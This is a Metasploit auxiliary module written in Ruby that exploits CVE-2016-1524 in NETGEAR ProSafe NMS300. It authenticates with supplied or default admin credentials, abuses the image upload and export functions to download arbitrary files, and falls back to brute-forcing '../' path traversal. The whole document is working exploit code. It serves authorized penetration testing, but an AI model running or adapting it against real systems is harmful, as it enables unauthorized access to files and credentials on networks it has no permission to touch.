require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super (update_info(info,
'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download' ,
'Description' => %q{
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
The application has a file download vulnerability that can be exploited by an
authenticated remote attacker to download any file in the system..
This module has been tested with versions 1 . 5 . 0 . 2 , 1 . 4 . 0 . 17 and 1 . 1 . 0 . 13 .
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>'
],
'License' => MSF_LICENSE ,
'References' =>
[
[ 'CVE' , '2016-1524' ],
[ 'US-CERT-VU' , '777024' ],
],
'DisclosureDate' => 'Feb 4 2016' ))
register_options(
[
Opt:: RPORT ( 8080 ),
OptString. new ( 'TARGETURI' , [ true , "Application path" , '/' ]),
OptString. new ( 'USERNAME' , [ true , 'The username to login as' , 'admin' ]),
OptString. new ( 'PASSWORD' , [ true , 'Password for the specified username' , 'admin' ]),
OptString. new ( 'FILEPATH' , [ false , 'Path of the file to download minus the drive letter' , '/Windows/System32/calc.exe' ]),
], self . class )
register_advanced_options(
[
OptInt. new ( 'DEPTH' , [ false , 'Max depth to traverse' , 15 ])
], self . class )
end
def authenticate
res = send_request_cgi({
'uri' => normalize_uri(datastore[ 'TARGETURI' ], 'userSession.do' ),
'method' => 'POST' ,
'vars_post' => {
'userName' => datastore[ 'USERNAME' ],
'password' => datastore[ 'PASSWORD' ]
},
'vars_get' => { 'method' => 'login' }
})
if res && res.code == 200
cookie = res.get_cookies
if res.body.to_s =~ / "loginOther" :true / && res.body.to_s =~ / "singleId" : "([A-Z0-9]*)" /
res = send_request_cgi({
'uri' => normalize_uri(datastore[ 'TARGETURI' ], 'userSession.do' ),
'method' => 'POST' ,
'cookie' => cookie,
'vars_post' => { 'singleId' => $1 },
'vars_get' => { 'method' => 'loginAgain' }
})
if res && res.code == 200 && ( not res.body.to_s =~ / "success" :true /)
return nil
end
end
return cookie
end
return nil
end
def download_file (download_path, cookie)
filename = Rex::Text.rand_text_alphanumeric( 8 + rand( 10 )) + ".img"
begin
res = send_request_cgi({
'method' => 'POST' ,
'cookie' => cookie,
'uri' => normalize_uri(datastore[ 'TARGETURI' ], 'data' , 'config' , 'image.do' ),
'vars_get' => {
'method' => 'add'
},
'vars_post' => {
'realName' => download_path,
'md5' => '' ,
'fileName' => filename,
'version' => Rex::Text.rand_text_alphanumeric( 8 + rand( 2 )),
'vendor' => Rex::Text.rand_text_alphanumeric( 4 + rand( 3 )),
'deviceType' => rand( 999 ),
'deviceModel' => Rex::Text.rand_text_alphanumeric( 5 + rand( 3 )),
'description' => Rex::Text.rand_text_alphanumeric( 8 + rand( 10 ))
},
})
if res && res.code == 200 && res.body.to_s =~ / "success" :true /
res = send_request_cgi({
'method' => 'POST' ,
'cookie' => cookie,
'uri' => normalize_uri(datastore[ 'TARGETURI' ], 'data' , 'getPage.do' ),
'vars_get' => {
'method' => 'getPageList' ,
'type' => 'configImgManager' ,
},
'vars_post' => {
'everyPage' => 500 + rand( 999 )
},
})
if res && res.code == 200 && res.body.to_s =~ / "imageId" : "([0-9]*)" , "fileName" : "#{filename}" /
image_id = $1
return send_request_cgi({
'uri' => normalize_uri(datastore[ 'TARGETURI' ], 'data' , 'config' , 'image.do' ),
'method' => 'GET' ,
'cookie' => cookie,
'vars_get' => {
'method' => 'export' ,
'imageId' => image_id
}
})
end
end
return nil
rescue Rex::ConnectionRefused
print_error( "#{peer} - Could not connect." )
return
end
end
def save_file(filedata)
vprint_line(filedata.to_s)
fname = File .basename(datastore[ 'FILEPATH' ])
path = store_loot(
'netgear.http' ,
'application/octet-stream' ,
datastore[ 'RHOST' ],
filedata,
fname
)
print_good( "File saved in: #{path}" )
end
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: 'netgear' ,
protocol: 'tcp' ,
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service ,
module_fullname: fullname,
username: opts[ :user ],
private_data: opts[ :password ],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status:: SUCCESSFUL ,
proof: opts[ :proof ]
}.merge(service_data)
create_credential_login(login_data)
end
def run
cookie = authenticate
if cookie == nil
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials." )
else
print_good( "#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully." )
report_cred(
user: datastore[ 'USERNAME' ],
password: datastore[ 'PASSWORD' ],
proof: cookie
)
end
if datastore[ 'FILEPATH' ].blank?
fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download." )
return
end
filepath = datastore[ 'FILEPATH' ]
res = download_file(filepath, cookie)
if res && res.code == 200
if res.body.to_s.bytesize != 0 && ( not res.body.to_s =~/This file does not exist./) && ( not res.body.to_s =~/operation is failed/)
save_file(res.body)
return
end
end
print_error( "#{peer} - File not found, using bruteforce to attempt to download the file" )
count = 1
while count < datastore[ 'DEPTH' ]
res = download_file(( "../" * count).chomp( '/' ) + filepath, cookie)
if res && res.code == 200
if res.body.to_s.bytesize != 0 && ( not res.body.to_s =~/This file does not exist./) && ( not res.body.to_s =~/operation is failed/)
save_file(res.body)
return
end
end
count += 1
end
print_error( "#{peer} - Failed to download file." )
end
end
|